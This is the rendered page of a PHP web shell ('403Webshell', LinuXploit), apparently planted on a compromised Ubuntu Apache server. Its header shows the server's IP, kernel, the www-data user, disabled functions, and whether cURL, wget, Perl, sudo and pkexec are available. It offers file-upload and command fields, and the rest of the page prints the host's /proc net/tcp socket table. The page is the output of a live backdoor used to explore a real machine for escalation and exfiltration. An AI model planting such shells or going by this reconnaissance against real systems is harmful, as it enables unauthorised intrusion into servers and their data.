403Webshell
Server IP : 217.113.158.245  /  Your IP : 216.73.217.83
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux bg-hoster 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.27
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/433866/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/433866/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 268194622 1 0000000000000000 100 0 0 10 0                 
   1: 0100007F:1F91 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 268195224 1 0000000000000000 100 0 0 10 0                 
   2: 0B00007F:8B7D 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 268187263 1 0000000000000000 100 0 0 10 0                 
   3: 0100007F:2382 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 268193721 1 0000000000000000 100 0 0 10 0                 
   4: 040012AC:8258 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197352 1 0000000000000000 20 4 22 10 -1                
   5: 040012AC:8276 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196432 1 0000000000000000 20 4 22 10 -1                
   6: 040012AC:83B8 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200230 1 0000000000000000 20 4 20 10 -1                
   7: 040012AC:CD44 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 269241167 1 0000000000000000 20 4 28 10 -1                
   8: 040012AC:833A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196457 1 0000000000000000 20 4 20 10 -1                
   9: 040012AC:8224 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200212 1 0000000000000000 20 4 28 31 -1                
  10: 040012AC:82AE 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268198510 1 0000000000000000 20 4 22 10 -1                
  11: 040012AC:B344 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268269022 1 0000000000000000 20 4 28 10 -1                
  12: 040012AC:8240 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199266 1 0000000000000000 20 4 31 10 -1                
  13: 040012AC:835A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197378 1 0000000000000000 20 4 30 10 -1                
  14: 040012AC:8314 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195592 1 0000000000000000 20 4 20 10 -1                
  15: 040012AC:D44C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268212436 1 0000000000000000 20 4 28 10 -1                
  16: 040012AC:827E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196434 1 0000000000000000 20 4 22 10 -1                
  17: 040012AC:D478 020012AC:1538 01 00000000:00000000 02:000A5DD2 00000000  1000        0 268200201 2 0000000000000000 20 4 28 10 -1                
  18: 040012AC:E07C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201135 1 0000000000000000 20 4 22 10 -1                
  19: 040012AC:838E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199288 1 0000000000000000 20 4 20 10 -1                
  20: 040012AC:829E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196445 1 0000000000000000 20 4 22 10 -1                
  21: 040012AC:832C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201178 1 0000000000000000 20 4 28 10 -1                
  22: 040012AC:836E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197382 1 0000000000000000 20 4 20 10 -1                
  23: 040012AC:82A8 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196447 1 0000000000000000 20 4 30 10 -1                
  24: 040012AC:D454 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268208590 1 0000000000000000 20 4 24 10 -1                
  25: 040012AC:D722 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199354 1 0000000000000000 20 4 22 10 -1                
  26: 040012AC:837E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199286 1 0000000000000000 20 4 28 10 -1                
  27: 040012AC:B5A4 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200586 1 0000000000000000 20 4 28 10 -1                
  28: 040012AC:B156 020012AC:1538 01 00000000:00000000 02:000091AF 00000000  1000        0 268195560 2 0000000000000000 20 4 24 10 -1                
  29: 040012AC:839C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199290 1 0000000000000000 20 4 22 10 -1                
  30: 040012AC:8262 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199271 1 0000000000000000 20 4 22 10 -1                
  31: 040012AC:E08C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268202093 1 0000000000000000 20 4 30 10 -1                
  32: 040012AC:82B2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200225 1 0000000000000000 20 4 22 10 -1                
  33: 040012AC:82DE 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201175 1 0000000000000000 20 4 22 10 -1                
  34: 040012AC:D726 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199356 1 0000000000000000 20 4 28 19 -1                
  35: 040012AC:C3CA 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268269592 1 0000000000000000 20 4 28 10 -1                
  36: 040012AC:D480 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268204779 1 0000000000000000 20 4 26 10 -1                
  37: 040012AC:D72E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268202194 1 0000000000000000 20 4 28 10 -1                
  38: 040012AC:8264 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196430 1 0000000000000000 20 4 22 10 -1                
  39: 040012AC:C150 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268351703 1 0000000000000000 20 4 26 10 -1                
  40: 040012AC:828E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268198508 1 0000000000000000 20 4 24 10 -1                
  41: 040012AC:836C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197380 1 0000000000000000 20 4 28 10 -1                
  42: 040012AC:83AC 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199292 1 0000000000000000 20 4 20 10 -1                
  43: 040012AC:834A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201182 1 0000000000000000 20 4 30 10 -1                
  44: 040012AC:82E6 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268210786 1 0000000000000000 20 4 28 10 -1                
  45: 040012AC:8204 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196424 1 0000000000000000 20 4 24 10 -1                
  46: 040012AC:E0A4 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268198451 1 0000000000000000 20 4 22 10 -1                
  47: 040012AC:82D2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201173 1 0000000000000000 20 4 22 10 -1                
  48: 040012AC:E088 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195461 1 0000000000000000 20 4 18 10 -1                
  49: 040012AC:E3EA 030012AC:18EB 01 00000000:000489E0 00:00000000 00000000  1000        0 360002929 1 0000000000000000 20 20 0 10 -1                
  50: 040012AC:8F02 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197652 1 0000000000000000 20 4 28 10 -1                
  51: 040012AC:B34C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268268300 1 0000000000000000 20 4 14 10 -1                
  52: 040012AC:D47E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268206622 1 0000000000000000 20 4 28 10 -1                
  53: 040012AC:83CC 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201190 1 0000000000000000 20 4 20 10 -1                
  54: 040012AC:AD18 020012AC:1538 01 00000000:00000000 02:000591AF 00000000  1000        0 321592570 2 0000000000000000 20 4 4 10 -1                 
  55: 040012AC:82CA 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201171 1 0000000000000000 20 4 30 10 -1                
  56: 040012AC:82E2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201177 1 0000000000000000 20 4 28 10 -1                
  57: 040012AC:8238 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197348 1 0000000000000000 20 4 31 10 -1                
  58: 040012AC:828C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199278 1 0000000000000000 20 4 31 10 -1                
  59: 040012AC:8778 020012AC:1538 01 00000000:00000000 02:00092B49 00000000  1000        0 268352610 2 0000000000000000 20 4 0 10 -1                 
  60: 040012AC:8324 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196455 1 0000000000000000 27 4 22 10 -1                
  61: 040012AC:83B2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201188 1 0000000000000000 20 4 28 10 -1                
  62: 040012AC:833C 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201180 1 0000000000000000 20 4 20 10 -1                
  63: 0100007F:D466 0100007F:1F90 06 00000000:00000000 03:00001262 00000000     0        0 0 3 0000000000000000                                      
  64: 040012AC:8234 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195556 1 0000000000000000 20 4 28 10 -1                
  65: 040012AC:8360 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201186 1 0000000000000000 20 4 20 10 -1                
  66: 040012AC:D442 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268208532 1 0000000000000000 20 4 28 10 -1                
  67: 040012AC:D720 030012AC:18EB 01 00000000:00003338 00:00000000 00000000  1000        0 268200291 1 0000000000000000 20 4 30 10 -1                
  68: 040012AC:B0C2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268199513 1 0000000000000000 20 4 28 10 -1                
  69: 040012AC:D72A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197420 1 0000000000000000 20 4 28 10 -1                
  70: 040012AC:83C4 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268202164 1 0000000000000000 21 4 22 10 -1                
  71: 040012AC:82FC 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195588 1 0000000000000000 20 4 30 10 -1                
  72: 040012AC:82BC 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201169 1 0000000000000000 20 4 31 10 -1                
  73: 040012AC:830A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195590 1 0000000000000000 20 4 28 10 -1                
  74: 040012AC:E0A2 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201153 1 0000000000000000 20 4 30 17 -1                
  75: 040012AC:82EE 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200228 1 0000000000000000 20 4 22 10 -1                
  76: 040012AC:B58A 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200582 1 0000000000000000 20 4 22 10 -1                
  77: 040012AC:8354 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201184 1 0000000000000000 20 4 22 10 -1                
  78: 040012AC:D472 020012AC:1538 01 00000000:00000000 02:000391AF 00000000  1000        0 268201159 2 0000000000000000 20 4 30 10 -1                
  79: 040012AC:E094 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195465 1 0000000000000000 20 4 30 10 -1                
  80: 040012AC:8218 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200210 1 0000000000000000 20 4 22 10 -1                
  81: 040012AC:E07E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268201139 1 0000000000000000 20 4 30 10 -1                
  82: 040012AC:D462 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268209622 1 0000000000000000 20 4 28 10 -1                
  83: 040012AC:820E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196426 1 0000000000000000 20 4 22 10 -1                
  84: 040012AC:8266 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268198500 1 0000000000000000 20 4 22 10 -1                
  85: 040012AC:D434 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268208530 1 0000000000000000 20 4 22 10 -1                
  86: 040012AC:D42A 030012AC:18EB 01 00000000:00001451 00:00000000 00000000  1000        0 268208528 1 0000000000000000 20 4 24 10 -1                
  87: 040012AC:D470 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268204682 1 0000000000000000 20 4 28 10 -1                
  88: 040012AC:81F6 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196422 2 0000000000000000 20 4 31 10 -1                
  89: 040012AC:83BA 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268196460 1 0000000000000000 20 4 30 10 -1                
  90: 040012AC:82F4 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268195586 1 0000000000000000 20 4 20 10 -1                
  91: 040012AC:824E 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268200224 1 0000000000000000 20 4 24 10 -1                
  92: 040012AC:8244 030012AC:18EB 01 00000000:00000000 00:00000000 00000000  1000        0 268197350 1 0000000000000000 20 4 24 10 -1                
  93: 0100007F:96C0 0100007F:1F90 06 00000000:00000000 03:0000066F 00000000     0        0 0 3 0000000000000000                                      

Youez - 2016 - github.com/yon3zu
LinuXploit